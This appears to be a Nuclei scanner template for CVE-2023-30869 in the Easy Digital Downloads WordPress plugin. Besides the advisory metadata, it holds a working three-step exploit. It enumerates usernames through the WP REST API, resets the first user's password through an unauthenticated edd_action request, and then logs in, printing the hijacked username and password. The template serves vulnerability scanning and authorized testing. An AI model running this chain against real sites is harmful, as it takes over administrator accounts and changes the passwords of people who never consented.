Easy Digital Downloads - Privilege Escalation

id: CVE-2023-30869

info:
  name: Easy Digital Downloads - Privilege Escalation
  author: daffainfo
  severity: critical
  description: |
    Improper Authentication vulnerability in Easy Digital Downloads plugin allows unauth. Privilege Escalation. This issue affects Easy Digital Downloads: from 3.1 through 3.1.1.4.1.
  impact: |
    Unauthenticated attackers can exploit improper authentication in the password reset functionality to reset any user's password and gain administrative access to WordPress sites using Easy Digital Downloads.
  remediation: |
    Update Easy Digital Downloads plugin to a version newer than 3.1.1.4.1 that properly authenticates password reset requests and prevents unauthorized privilege escalation.
  reference:
    - https://patchstack.com/articles/critical-easy-digital-downloads-vulnerability?_s_id=cve
    - https://patchstack.com/database/vulnerability/easy-digital-downloads/wordpress-easy-digital-downloads-plugin-3-1-1-4-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30869
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30869
    cwe-id: CWE-287
    epss-score: 0.31349
    epss-percentile: 0.96865
    cpe: cpe:2.3:a:awesomemotive:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: awesomemotive
    product: easy_digital_downloads
    framework: wordpress
    publicwww-query: "/wp-content/plugins/easy-digital-downloads/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,awesomemotive,easy_digital_downloads,auth-bypass,intrusive,vkev

variables:
  password: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: username
        internal: true
        json:
          - '.[0].name'

  - raw:
      - |
        GET /?edd_action=user_reset_password&user_login={{username}}&pass1={{password}}&pass2={{password}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"wp-resetpass-")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Login

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(header,"wordpress_logged_in","/wp-admin")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'
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